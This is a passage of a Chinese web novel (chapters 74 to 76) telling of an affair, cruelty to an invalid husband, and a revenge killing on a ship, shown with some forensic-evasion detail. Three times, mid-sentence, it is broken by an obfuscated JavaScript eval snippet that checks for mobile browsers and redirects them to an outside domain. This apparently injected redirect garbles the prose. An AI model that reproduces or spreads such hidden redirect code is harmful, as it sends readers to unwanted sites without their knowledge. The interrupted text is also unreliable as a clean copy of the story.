明台都不记得事情具体是怎么发生的,反正他们很快脱了衣服,一个童男、一个处女,莽莽撞撞、急不可耐地动起来,当着陈海平的面。陈海平眼睛都发直了,啊啊大叫,先去摸自己,没摸到;然后伸手去抓他们,木桶翻了,他摔在地上,水漫得到处都是。 陈副官一个激灵,匆匆几下弄了出来,跑过去把他抱回桶里。明台扶墙站着,看着血顺着大腿蜿蜒而下,发了怔。两人许久都没说话,只有陈海平在激动地叫。 陈副官把他安抚好,然后低声说:“大奶奶,我其实......对你没有那种意思。” “我也没有。” “这样的事,以后还是别做了吧。” 话虽如此,可初食禁果后,谁能抵挡住诱惑?有了第一次就想第二次,有了第二次就想第三次。每次结束后,陈海龙都悔不当初,他本来就够对不起大爷,现在还睡他的老婆。自己其实应该正儿八经地娶个老婆。然而老婆会看不起他,大男人不出去找份事做,光在家里给疯子当奴才。 只有明台理解,他们两个同病相怜,虽没有爱,但也没有背叛。这样的关系再牢固也没有了。 明台作为女子,选择更少,只能找陈副官;怕他不来,她每回都亲手准备洗干净的鱼胆。有时候她感觉陈海平是清醒的,且知道这件事,死盯着他看,眼窝深深凹陷下去,简直像索命的鬼。 她心里发憷,仍笑问着:“怎么了?” 他说:“眼睛脏了。” “眼睛脏了呀?”明台拿起梳妆台上的小粉扑,过去揉他的眼睛。陈海平大叫起来,那粉扑上沾了不少粉,弄到眼睛里疼痛不堪。明台面无表情地撑开他的眼皮,使劲儿把粉往里拍。反正他天天叫,没人理。 他一边叫,一边就在恐惧下失禁了,腥臊的液体迅速在褥子上蔓延开。明台往后退了几步,神经质地一笑,坐回梳妆台前,自顾自地把余粉拍到脸上。粉扑上湿润润的,是他的泪,正好把粉化开,填平脸上的沟沟壑壑。 她都不知道自己什么时候长出了皱纹。 陈海平湿着袴子躺了一早上,直到陈幼兰回来,见势不对,去叫陈副官,陈副官才赶来给他换袴子。 陈幼兰年纪小,心里什么都明白。明白母亲和六叔——她管陈海龙叫六叔——的奸情,明白母亲偶尔会虐待父亲,明白陈副官是对父亲好的。但是母亲实在是有苦难言,六叔问起来,她只道:“娘早上有点不舒服,大概没注意到。” 然而不是每次都能瞒住的。某天陈海平一直“水水水”地喊,明台坐在床边绣鞋面子,就是不给他拿。陈副官从门口路过,听他嚷了有一分钟,然后进屋倒水。 明台放下针线,非常局促、非常惊讶地站起来,脸上涨得通红。 两人一个字也没交流,陈副官给陈海平喂完温水就走了。然而那种事情,他们此后再未做过一次。 男人想做那种事情太容易了,可以出去找妓女——明台不知道他找没找过,但他可以。她是个不能出门的女人,与陈副官的关系一断开,是叫天天不灵、叫地地不应。青春岁月、似水华年,在油锅上滋滋地煎,煎得她形容枯槁、人比黄花瘦。 人生怎么这么漫长呢?人生怎么这样不公平? 欺负陈海平之余,她还打陈幼兰,陈幼兰乖乖任她撒气,打完了,跑去找六叔。六叔待她比母亲还好,会给她制新衣、买零嘴,承担起了她生命中父亲的角色。 “大姨和阿彬现在在哪里呢?”她问。 “我也不知道。” “应该杀了他们。”陈幼兰平铺直叙道,“周边县城里好大一块地都是我们家的,后来让旧部在那里耕地、成家立业,只要给一笔钱,他们还能为我们所用。这么多人,找一家人找不出来?” 陈海龙敲了她一下,“乱说什么?这是你一个小孩该说的话吗?练字去!” 陈幼兰不走,在他面前,她是要撒娇的,“娘在屋里,我不回去。” “那你在我屋里练。” “再说吧,六叔带我出去逛逛!” 陈海龙抓了几张纸钞,牵着她往外走,一边走,陈幼兰还一个劲儿地说:“他们把爹爹害成这样,要是过着逍遥日子,那就太不公平了!那个阿彬,他也该是断子绝孙......” “不要。” 两人都顿住了,大为惊骇。陈海平刚被下人抱到一把安乐椅上晒太阳,瘦的只剩一把骨头,像是一片布、一条毯子搭在椅上,几乎没有厚度。他正双眼望天,很平静地又说了一句:“冤冤相报何时了?” “大爷,”陈海龙朝他一鞠躬,“属下知道了。你说不要,那就不要。” 他虽然这么答应着,但心中也蠢蠢欲动起来,去联络了旧部,一联络,居然发动了一百余人去找寻。这一工作太艰难、太浩大,进展了好多年,找出了无数个疑似“阿彬”“邝明镜”的人物,他一个个去亲自确认,终于找到了金文彬家门前。 金文彬已经不是那个黑黑瘦瘦、眼放精光的小子了,他胖了,把一身戾气隐藏在中年人的皮囊下,看起来甚至有几分和气。 “你是要进屋喝茶,还是大街上跟我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331783|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干起来?” “喝茶吧!” 金文彬于是唤了个姨太太出来泡茶,陈海龙笑了,“当初费尽心思抢走了邝大小姐,也不见你珍惜啊?” 金文彬无动于衷,“病死了。” “我不跟你打马虎眼。现在也就是大爷还活着,我服从他的命令,不动你;等大爷去了,你们一家老小就把寿衣提前穿上吧。当然,你可以跑,但你要是带着这么多人跑了,我一定会知道,我手底下还有一百多个人。当年还打着仗,大爷没人也没时间跟你纠缠,而我现在奉陪到底。” 他笑了,流氓气质一点点在皱纹中蔓延开,“你以为,我很宝贝这一家老小吗?” 陈海龙一时反应不过来,金文彬便大笑道:“这些女人,不过跟我睡过几觉;这些孩子,不过是跟这些女人睡出来的。死了便死了呗!至于说我自己的命——我出生寒微,活到现在,香车豪宅美女,样样都享受过了,比陈海平这种会投胎的过得还舒服,够本了!我年纪大了,没有精力东躲西藏,你要来就来。” 陈海龙跳起来骂道:“等着我来收你!” 金文彬一摊手,“愿赌服输。” 他从来没见过这样的人,流氓,无赖,坏种,偏偏还真发了财、享了福。大爷是真君子,怎么没有好报呢?走到大门口,陈海龙回头望了望院子,“最后一个问题,这些孩子里,有没有邝大小姐的?” “没有。” 一年后,陈海平油尽灯枯,走完了他荒唐的一生。 过去家里还有很多人怜悯他,后来都渐渐地被磨麻木了,以至于没有一个人为他的死伤心,都暗暗松了口气。 陈海龙已经很久没和明台说话了,这件事自然也不和她说。他只把陈幼兰叫来,笑眯眯的,“六叔送你一份礼物。” 再后来发生的事很好猜到,金家提前被人一把火烧了,旧部无功而返。后来又听说金雪池的踪迹,陈海龙跟着几个人到达上海,那几人按计划互相出卖了干净,让青帮以为就是这么几个人了。而他走近邵子骏,再进一步走近薛莲山,想看那位金小姐一眼。 不料战争爆发,他真的勤勤恳恳帮薛莲山打了几个月的工,没见上金雪池一面。薛莲山让他刺杀完王厚德就自奔前程去,他看薛公馆又被日本人围起来了,只好先行离开上海。路途遥远,回到温州,又扑了个空,听闻了陈幼兰出嫁的消息。 再等他凑到一张船票到达香港,已经是春节时的事。 陈海龙已经没有自己的人生了,不管是为了陈海平还是陈幼兰,他都非把金家灭门不可。就算他大概猜到了金雪池是邝明镜的骨肉。然而到了香港后,他看到了金雪池的面貌,没有立刻下手,踌躇了好几天,直到对方发现了他,再不动手就没机会了。动手,也动得犹豫不决,不够果断。 金雪池长得真像她母亲,真像,他走在她后面,感觉自己还是那个十六七岁的小伙子。 没救了。陈海龙想,隔了这么多年看这张脸,还是美,见之忘俗。 所有爱过邝明镜的人,至此全军覆没:陈海平,陈海龙,明台,金文彬。她已经消失很久,但没有人从她带来的大雨里走出来,除了她自己。 美人已矣,余威犹在。自我见之,不可忘怀。 74.远鸥号 邝明台到达薛公馆的时候,薛公馆里忙作一团,因为邵子驹心跳又停了。不过那边有薛莲山在,金雪池一听闻陈太太来访,连忙迎了出去。 陈太太三言两语把她父母作过的孽讲给她听,只有前一部分,至于说邝明镜离开邝府后发生的事,她也无从得知了。“我完全不知道幼兰的计划,我要是知道这件事,肯定反对。是因为陈副官新年来探望了我们,前几天又听说住院了,幼兰看瞒不住,才讲给我听的。” 金雪池面不改色地听完了,问:“他们订了什么时候的船票?” “明天早上,幼兰和陈副官坐九点钟的船从上环码头走。我和袁公子的票还没订。” 金雪池听到这里,让她稍等一下,进屋去看邵子驹。定青正在用勺子喂水,薛莲山像要投球一样举着双手,见她来,说道:“又喘气了。你说他要么一直喘气,要么一口气闭过去算了,闹了两三回。黑白无常今天就在我们家练往返跑。” “等他好了,讹一下他。” “我也这么想。陈太太做什么来的?” “扯皮来的,我马上送她走。”她一边呢喃着,一边忍不住往他身边凑。 “意思意思就行了。很困吧?昨天大半夜就起来,早点睡觉。” “你困吗?” “我陪着大少爷闻了很多鸦|片,还行。” “小口呼吸,”金雪池说,“晚安。” 她回书房拿了几样东西,换了衣袴,留下一张字条,又顺走了客厅桌上小桂买的桃酥让邝明台带回去,就说去中环买桃酥去了。两人一起出门往电车站走,夜色苍茫,是戏台的幕布。邝明台想象过很多和姐姐重逢的场景,如今和她的女儿相认,好像一出冥冥中排好了的剧目,汽灯一亮,开演了,发现演员少了一个。 金雪池却一点情感反应也没有,只是说:“我是做船舶保险的,明早十一点离港的那艘‘远鸥号’旧且小,票卖得不好,总有剩余。如果我是陈幼兰的话,知道还有余票,为避免被人发现后当场买票追上船,会把票全订下来。因此,陈太太,他们明天一出门,你就给轮船公司打电话,说还有一个人来取票,名叫钱荷花。” “喔,好。”邝明台瞥了她一眼,“你叫钱荷花?” “我叫金雪池。” “金小姐,我想问问,你上船是要做什么?” “陈太太,你心里有答案。” 邝明台默然不语,因为惭愧,不仅在金雪池面前惭愧,更对幼兰惭愧:她太贱了。她在陈家待了半辈子,和幼兰、陈副官患难与共、相依为命,然而一出事,她的心还是要往明镜那边偏。大家都老了、疯了、倦了、相看两厌了,只有邝明镜,骄奢跋扈地留在十六岁。 “幼兰......幼兰一开始没认出你,”邝明台低声道,“她还挺喜欢和你做朋友。是陈副官到了,她才知道的。她还怀着身孕呢。” “陈太太,我托你的事情,你愿不愿意办?” “我愿意,我要是不办的话,幼兰这个孩子她心思重,六叔又受伤了,她将来对你——” “好,谢谢你。”金雪池道,“你既然知道我父母是什么样的人,就不必多问了。我也不慈善,父仇不报,枉为人女。” 邝明台不问了。她不爱陈海龙,也不那么爱陈幼兰。 金雪池在下一站下了车,头重脚轻地往一家尚亮着灯的药铺走。人前,她是惯于装冷静的;人后,她脑子都转不动了。昨天凌晨两点钟被邵子驹闹起来,一直到现在,今晚她也不能睡,明天更是忙一天。情绪也糟糕,又激动、又兴奋、又紧张、又愤怒,混成一团浆糊,导致哪一种情绪都不明显。 原来我妈妈是这样的人。 就像不谈金文彬是她的父亲这个事实,她会很愿意和金文彬做朋友;不谈邝明镜是她母亲这个事实,她也很愿意和邝明镜做朋友。人对人的吸引力,就是那么一瞬间的事。可惜这一瞬间,存在于第三方的讲述中,她与母亲之间并没有直接的一瞬间。 或许在她不记事的时候有过,母亲满怀爱意地吻过她,那是独属于母亲的一瞬间。 但那没意义,母亲天生就爱孩子,不是作为一个人,去爱另一个人。她想让邝明镜知道自己模样如何、性情如何、有哪些经历、又会在什么情况下做什么决定,邝明镜会越来越爱她的,就像金文彬越来越爱她一样。她知道自己会为他们那样的人所喜爱。 她甚至能完全理解邝明镜跟金文彬私奔的缘由,邝明镜也必然能理解她为什么爱薛莲山。这样的事,旁人说不值得,旁人说了都不算。人类最严重的罪行就是无聊和愚蠢,其他的,譬如社会普遍所不能容忍的穷、贪、恶等等等等,什么都不能算。 邝明镜是病死的,她们有缘无分。 但金文彬是为人所害。他要是还活着,她该是多幸福的女儿。 金雪池想着想着,眼里已经蒙上了一层泪。现在是深夜,在码头边晃悠其实不安全,到处都是难民、工人、流浪汉,但她还是走进了药铺,要了一瓶□□,犹豫了一会儿,又要了一包烟。 蹲在巷道的墙边撕掉纸皮、把烟草嚼了,提神效果值得怀疑。一整晚,她都尽力瞪大眼睛盯着海面,月亮升起又下沉。两个印度巡警在抽烟闲聊,离码头稍远的地方要么是地铺、要么是自建的棚屋,七七八八住满了人,风吹过来,都有一股熏熏的鸦|片味。 她掏出水果刀,把一头显眼的长发割了下来,修成个短短的女学生头。 清晨六点,卖票处开张。如果陈幼兰要去接陈海龙,应该更早就出发了,不过金雪池还是等了一会儿。大概七点左右时,一个戴帽、穿长衫的男子来取了一张票。 她看不清此人的脸,但心里有个怀疑对象,越看背影越像袁孝勋。等这人走后,她去问:“远鸥号还有没有票?” 售票员答:“没啦!” “刚才那位先生买的是什么票?” “远鸥号,不过他是提前订了的,只是多取一张。” 金雪池沉思着钻回巷子里,隔了约莫半个小时,再出来,那售票员就喊她:“小姐,你姓什么?” “姓钱,叫钱荷花。” “噢,那对了。你上一次来的时候,票确实是卖光了。不过刚才那户人家给我打电话,说你也要取走一张。给,这是你的票。” 一切都在可控范围内。陈幼兰很谨慎,陈太太唯命是从,只是不知道袁孝勋为何突然上船。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336831|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 晨雾尚未散透,上环码头已然苏醒,货船的舷梯纷纷放下来,码头工上上下下、装卸木箱。薛莲山所有的一艘名叫“玛姬号”的小货轮本该在三个小时前往广州湾去,然而至今仍泊在港湾里,停得较远,桅杆上系了一条鲜艳的红绸。 与此同时,阿鹏跑到了薛公馆,叫道:“有病人出院了!叫了一部车,车牌号是A729,沿薄扶林道往东行驶。” 是凶手无疑。 自宝修医院爆炸后,陈幼兰肯定处于紧张状态,这两天就会急着走,薄扶林道也确实是去码头的路线。但是......薛莲山用五角钱打发掉阿鹏,不慌不忙地回餐厅吃馄饨。 他不必现在追过去,金雪池掌握的信息比他多,还拿走了枪,留了字条。现在追过去,可以把金雪池从码头上抓回来。不过没有必要。他从来充分尊重女方的选择,哪怕选择去送死。 金雪池是不是去送死,还不好说。从陈太太来访到她出走,中间只隔了十几分钟,她就在字条上给他列出一个简单但指示详细的请求,她是有计划的。时间越紧迫,她越有计划。迄今为止,金雪池做的每一件事都让他非常欣赏,适当借力,但是有分寸,自己的事自己解决。为避免他们中一顿“你不要去”“我要去”“我陪你去”“不麻烦你”的拉扯,干脆招呼也不打,直接走了。 他抱着一种看热闹的心态,看她如何收场。 九点差五分,金雪池登上了远鸥号。 这是一艘国产的旧客轮,船身漆皮剥落,舷梯扶手缠着粗麻绳,霉成了青绿色。陈海龙是一左一右架上去的,太明显了,她等他们上船后才上船;验票后,直接下三等舱找自己的床位。 三等舱在底层,过道狭窄,只有一盏铜制吊灯悬在中央,导致两头都是黑的。她的铺位靠门,往床下放包袱的时候,顺手摸了摸通风口的铁丝网——锈成一片,螺丝根本拧不动。 收拾完毕后,她又开始四处走动,找到了一等舱的位置,又在餐厅后找到了医疗舱的位置。依陈海龙的情况,海上颠簸两天,必然需要医疗看护。这一舱室专门为重症病人准备,配备了护士。 金雪池坐在餐厅的角落,用短发盖住半张脸,装模作样地看报纸。 十点钟,护士来了一趟;十一点半,护士又来了一趟。餐厅的人越来越多了,为避免撞见陈幼兰夫妇,她暂时回三等舱避了避,两点才回到餐厅。两点半,护士又来了一趟。 “护士小姐,”她心一横,上去搭话,“打扰了,你这里有没有急救的药?” 护士很不耐烦地问:“急救什么?” “哦,就是我同行有个表哥,他总是咳嗽,时不时还喘不上气......”金雪池详细地描述了一大堆症状,护士听了一半,打断她说:“尘肺?你现在找我要药没有用,发病的时候再找我,我有扩张支气管的注射剂。” “太感谢了,我在哪里能找到你?” “船长室左侧的船员休息室。如果不在的话,我就在这里,我每隔一个半小时来一趟这里。你算着时间,不要耽误。” “半夜也行吗?” “行,我们有两个护士轮班。” “谢谢。”金雪池退回去了。 75.复仇 陈幼兰绕着床掸了一圈灰,低声道:“我没想到你会来。” 袁孝勋无意抒情,精神高度紧张:“你看到他们了吗?” “目前没有。你不要担心,我已经给温州那边发过电报了,一下船就有人来接。” “倘若他们在船上动手呢?” “人都没见着,你就怕要动手了。我问你,薛莲山那么大的个子,在香港广东人里面明不明显?他要上了船,一眼就看到了。” “好吧,薛太太那种身材的女人却是到处都是。她上来了怎么办?” “二对一,你还是个男人,你怕她么?” “万一她有枪呢?” “她的枪被巡捕缴了,现在应该没有了。就算还有,开枪的声音多么大,只要她开一枪,整条船的人都能听见,警卫马上来了。”陈幼兰一屁股坐在床上,轻声细语道,“船是孤岛呀,跑不脱的。我要是她,会等下了船再动手,失败了也好跑。” 袁孝勋哼了一声,也在她身边躺下。“幸亏我来了,二对一,要不然就是普通女人对孕妇。” 你懂什么?她就算跟着六叔找到了这艘船,也买不到票,上不来了!陈幼兰因为对于他的每一条质疑都有理可驳,非常不屑,却不把不屑流露在脸上。袁孝勋不是个爷们儿,是很显而易见的,还有点疯。母亲照看了一辈子的疯子,她又接着照看疯子。 袁家对她和气,袁孝慈对她以姐妹相称,全不过是看她好用,能管住袁孝勋。由于有着丰富的对付疯子的训练和经验,她不仅能管住袁孝勋,还能驱使袁孝勋,男人想要立于世是非常容易的,只要他像话一点,袁孝慈的地位就地动山摇了。 她看不惯袁孝慈,袁孝慈这人高高在上,找到她,像给狗舍找到一把锁,笑眯眯地锁上,说你做得真好呀! 她其实也看不惯金雪池,金雪池更傲慢,这种傲慢估计她本人都没觉察到,只把别人当新鲜事物观察,而不当朋友交往。你固然是很厉害,可我以这样的身世深宅大院里全须全尾地活下来,不比你差多少。 陈幼兰太恨她们了,天下之人,除了一个六叔,给够了她苦难受。 好在狗听话,狗不傻,不至于烂泥扶不上墙。她还以为袁孝勋多可怕呢,不过是习惯坏、性情烂、状态差,略施一点小手段,他就听她的话了。但凡袁家有任何一个人对他略施一点小手段,他都会听话的,不知道他为什么从未听话过;现在好了,便宜她一个外姓女人了。 念及此,陈幼兰挠了挠他的手心,“事情不会变成那样,因为你肯定会来。” “哈,我几小时前都不知道我会来。” “我知道的,你很有勇气。” 袁孝勋把手收回来,一翻身侧躺着,盯着她的肚子,“孩子会不会动啊?” “感受不到,太早了,至少也要五个月才能感受到胎动。” “叫什么名字好呢?” “让你父亲做主吧。”陈幼兰站起身,“我去看看六叔。” 袁孝勋不敢出门,认为她老是往医疗舱跑也不安全。陈幼兰却不以为意,不仅去看,还坐在病床上给陈海龙剥橘子吃;直到袁孝勋快吓晕了,跑过来找她,她才跟着他回了一等舱。 晚上他也不同意两人一起睡,一定要一个醒着放哨。陈幼兰只好答应自己前半夜放哨,他后半夜放哨。 “我这是必要的谨慎。”他强调说。 “知道,谨慎很好。”陈友兰认同道,“上床睡吧,三点钟我叫你。” 凌晨一点过五分。 入了夜,船身摇晃地更厉害,大多数过道灯都熄了,只在关键地方亮有几盏。换药之前,护士就给病人打了一针镇静剂,病人睡着了,她才好给腹部上那骇人的贯穿伤换药。 换好药,她关灯、锁门,面前是一条暗而深的甬道,海浪声此起彼伏,心里不免有点发憷。刚扭过头,什么都尚未看清,一块湿漉漉的帕子就捂了上来,□□的气味长驱直入。 她还没来得及想什么,世界就在眼前按下了熄灯键。 金雪池抓着她慢慢放到地上,从她口袋里取走钥匙,进入医疗舱。没有开灯,不必开灯了。陈海龙的面容隐藏在黑暗里,她抽出刀,对着他的脖颈用力插下去。血液的流动是有声音的,从气管里、软骨间,汩汩地涌出来。 她将护士也拖进屋,反锁,擦净把手上的指纹。 凌晨一点十五分。 她上了甲板,顺手把钥匙和刀扔进海里,四周黑浪起伏、月光黯淡。船员休息室在甲板上,亮着灯,当值的几个水手在里面打牌,还有的和葡萄牙女人讲笑话。葡萄牙女人其实听不懂,但拉拉扯扯中,就开始高兴地笑。 一见来了个漂亮的中国女人,他们就放弃对葡萄牙女人用功了,笑问道:“小姐这么晚怎么不睡觉?” “我住三等舱,人太多了,闷,睡不着。” “习惯就好了,闷着闷着,就晕了。”他们即使说这句话,也哧哧地笑起来。金雪池是摆明了不会聊天的,活络不起来,别人问她,她才干巴巴地说一两句。 水手们互相交换着眼神:装内敛给谁看?年轻姑娘,大半夜就是睡不着也该待在自己的床上,跑到男人待休息室,目的不纯。其中一个瘦子笑嘻嘻地给她递烟,她不会抽,想起自己有包烟,于是一人散了一根。 男人们哄堂大笑起来。瘦子问:“不会抽烟,怎么有烟?” “没收我表哥的。他咳嗽还抽烟。” “哦——很贴心嘛!哥哥们抽烟,你怎么不没收呢?” 金雪池快受不了了,一言不发地坐下。又一个羊角胡问她:“就你和你表哥一起出门吗?” “是的。我在女舱里没有认识的人,就只好......” “没关系,我们陪你玩!一个拍手掌游戏,你会不会,嗯?你就这样伸着手,哥哥把手搭在你的手上——嗯,对对对,然后拍到哥哥的手,哥哥就给你一角钱......” 金雪池啪地一下拍到了那人的手,那人疼得抖了抖手,她示意拿一角钱来。 凌晨一点二十八分。 角落里一个戴眼镜的小个子抱着笔记本站起身,出了休息室的门。金雪池连忙撇下水手们追上去,小个子回头,就看到她很勉强地笑了一笑。他心里犹然生出一种英雄救美的责任感。 “他们尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344086|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱胡闹。”小个子用一种很克己复礼的知识分子风范说,“你可以跟我出去透透气。” “谢谢。你去做什么?” “我去电报室——现在有战时规定,每晚一点半、三点、四点半要和港口电台进行三次通讯。” 金雪池当然知道,要是不通讯,船只遭了敌军的袭击,保险公司不予理赔。向船舷扭头一望,黑紫色的天空下,玛姬号沉默地与远鸥号并驾齐驱,且越来也近;红绸在猎猎的风中抖动。船头有个黑影站着,光线很暗,她凝视了片刻,知道他也在看自己。 微光从镜片上一闪而过,那人回了舱。她也扭头跟上报务员。 报务员掏出钥匙打开了电报室的门,先摸索着开灯。她无声息地靠近桌子,找到电台最显眼的大功率玻璃发射管,逆时针拧了四分之一圈。灯光骤然降临时,她刚刚收回手。 “你不要站边上,不要乱碰。” “哦。”金雪池乖乖地一步到了他身后。他心里得意,又放软了口吻,“我是怕你弄坏了。你想试试吗?” “怎么试?” “喏,看到这个按钮了吗,按一下就开机了。” 金雪池按了一下,啪的一声,一团白烟从电台上方冒出来。报务员猛地推开她,想骂人,但是她确实没乱碰,只在自己的指导下按了开机键。灯丝怎么偏偏在这个时候烧断了? 他从柜子里找出工具箱,手忙脚乱地拧螺丝。金雪池道:“我帮你,拧螺丝我是会的。把这个盖板拧开对吧?” “是的,前后一共十六颗螺丝,快一点。” 呜—— 近在咫尺的警笛声骤然响起来!不是由远鸥号发出的,而是由玛姬号发出的,可能自身出了情况,寻求救援,也可能是警示——现在是战争年代,什么情况都可能发生。报务员猛地一下跳起来,嘱咐她待在原地不要动,随即飞奔去找船长。 与此同时,袁孝勋也猛地从睡梦中惊醒,叫道:“日本人打过来了?还是触礁了?” “你先不要动!” “我们得出去找救生艇!” “不,不,等一下,可能不是我们船上的警笛,不用到甲板上去集合——” “吊你妈!就算不是我们船上的,隔得这么近,万一是别的船只发现日本船来了呢?”袁孝勋在黑暗里乱扒乱找衣服裤子,“我就不该跟你来!” “我去看一眼怎么回事,你先穿衣服。” 陈幼兰出了门,警笛声早停了,只维持了十秒钟。有几户一等舱的乘客也探出了头,没等到远鸥号的任何指示,又惶惶地缩回去。 她冲上甲板,甲板上都是水手在跑,慌乱地瞟了一眼,什么名堂都没看出来,又记着去医疗舱看陈海龙,匆匆搭着扶梯往下跑。 金雪池远远地看着她,高举起右手,几秒后,警笛声再次响起。一片叫喊与凌乱的脚步声中,她疾步跟上陈幼兰,打开保险,用外套包裹住枪管,瞄准她的心脏。 砰。 呼啸的警笛中,微不足道的一声。微不足道的一生。陈幼兰的身子顺着惯性往前一冲,然后栽到地上,顺着楼梯往下滚,滚到平台上,一动不动了。 76.立碑 金雪池从她手中拿走钥匙,飞奔到一等舱门口。警笛还在响,最多持续一分钟。她打开门的瞬间,已经把枪管伸了进去,看到人影,又开了一枪。 袁孝勋应声而倒,刚穿上裤子,子弹打在了他的大腿上。 陈幼兰死了。这是他的第一个想法。 一阵巨大的悲痛袭来,这一枪简直像打在他的肺叶上,让他没法呼吸,他于是才明白过来自己是爱着陈幼兰的。爱她什么呢?这女人长得不好看,也不好玩,每天不是做女红就是叨家常,对他也没有爱情,纯粹是同事、是盟友。 但所有人都说他是个废物,包括他的胞姐,只有她说他可以,他好,他做得到。所有人都引诱他往下滑,只有她督促他往上走。他都活得像个笑话了,她还是给了他一个机会,一步一步,像教孩子走路那样,教给他。他愿意改好。他不是一开始就甘心做个酒囊饭袋的。 在他很小很小的时候,他决心做个男子汉,保护妈妈,保护姐姐,保护未来的老婆孩子,富有勇气。 袁孝勋大喊大叫起来,同时猛地向前一扑。 不够快。 你还是当酒囊饭袋太久了,你一生最宝贵的年华、你的青春、你的精力,全沉醉在荒唐的烟花里。我也生性懒惰,如果没人敦促,本该一事无成的。但是我有老豆,他教了我很多宝贵的东西,比如说庄家吃饭的本事,速度。 庄家通吃,你们三个。 金雪池一抬手开了第三枪,对着他张开的嘴,打断了他的脊椎。面前的人立刻跌到她视线平面以下,金雪池凝视着舱房的墙壁,那里溅开了一朵惊心动魄的大血花。 警笛声停了。 她对着镜子检查了一番,身上没有溅血点子,于是锁好门,擦掉门把手上的指纹;跑回船长室的路上,把空枪和裹了枪的外套都扔进海里。 拧开第十四颗螺丝的时候,报务员跑了回来,拿了一根电子管。 她以一种焦虑且紧张的口吻问:“怎么回事?” “不知道!船长用望远镜看了看,说是那艘货船有火光,可能着火了,现在又扑灭了。具体情况,还得等电台修好。让我来,你太慢了。” 金雪池退到一边,小声问:“不是日本人?” “应该不是吧。”报务员哐当一声卸下面板,“唉,这个仗,打得人心惶惶。” 她一直陪着报务员修电台。修好后,与港口取得联系,“玛姬号”确实是刚刚失火了,想找他们求援;现在火势得到了控制,除了损毁一堆货物以外,暂无人员伤亡。未发现对面有海盗或者敌袭。 于是他们又回到休息室打牌,打了一半,一个护士进来说同伴不见了。再打一局,发现楼梯下有个死人。再打一局,远鸥号自己的警笛就响起来了,通知所有乘客立即拿着船票到甲板上集合。 金雪池快要支持不住了,站在人群之中,眼睛一阵一阵地发眩。 一到温州,全船人都进了警察局。现场没有留下任何线索、指纹,就只能一个个地验硝烟反应。金雪池为了消音,也为了避免沾到火药残留物,是用外套包着枪口的,什么都检查不出来。 再者,法医检验出了死者的死亡时间,报务员则坚称她那段时间都在电台室,她第一批被释放出来。谢天谢地,她的脑子已经转不动了,再有人问讯,她难保不出岔子。 迎着明晃晃的阳光走了几步,她叫了一部黄包车,买了一张去汕头的火车票。到达汕头后,又乘一部公车,几经辗转,到潮州老家。 香港估计翻天了,但她现在不想考虑。 离家的时候,四点金周围被烧得寸草不生,而现在,荒草已经能没过她的膝盖。她不觉得怕,不觉得寂静,还是困,于是到自己从前的小床上睡了一觉。醒来天都黑了,衣服上也都是烟灰。肚子饿,不过没人给她做饭。 千言万语,汇到嘴边,“老豆啊,”她只是喃喃道,“老豆啊。” 死在这里的,除金文彬以外,还有十二位妇孺。她是个没心肝的人,与姨太、弟弟妹妹们的感情都不深,只像邻居。但毕竟是一条条生命,曾与她在同一屋檐下度过了春春秋秋。十三条命,用三条命抵,怎么都像是便宜了他们。 何况他们还死了个全须全尾,她的家人尸骨无存。 她想起来他们甚至没有墓碑。没有尸骨,也没有衣冠,烧得太干净了。那么立一个空的,她不能随时回来祭拜,还不如不立,十字路口烧一堆纸,喊谁的名字谁就来了。唉,怪她太没有心肝了,之前都没想到其他人,只给老豆一个人烧了纸;不过烧得很多,老豆自己给其他人分一点吧。 她上街吃了一顿饭,然后买了纸钱回来烧,烧了两个小时。天渐渐暗下来,燃烧的纸灰随气流而上,她仰起酸疼的脖颈、眯着眼,就看到厚重的积雨云大军压境,铅灰的,只有那几点火光才飘摇不定地闪。 “老豆啊。”她又念了一句。 没有意思,她以为报完仇一切就解决了,可是她还是好想他。天长地久有时尽,此恨绵绵无绝期。 身上的钱不够,她的脑子太混乱了,没有想到这一点,钱已经不够买船票了。只好向薛莲山拍电报求助。薛莲山其实可以寄一张船票过来,不过他亲自来了。 金雪池当天去码头接他,心里惴惴的,怕他带来不好的消息,什么巡捕要来问讯、袁家要追究到底、私家侦探发现了什么线索,来一个她都恨不得跳海算了。她头疼。薛莲山什么都没说,还是那一副轻快的笑容,挽着她的手,一路往市中心走。 “薛先生,”她虚弱地开口,“有后续吗?” “别担心。” “那就是有。” “有一点点,好解决,你不要想了。” 她不相信有好解决的事,他现在也难,只有他愿意帮她,没有他理应帮她的。他又会怎么看她呢?这事做的有点凶残,其实她是个很和气的人,但凡陈幼兰的复仇对象换个人,她还要夸陈幼兰真厉害。 但是金文彬就是她的是非。他是世界上最好的老豆。 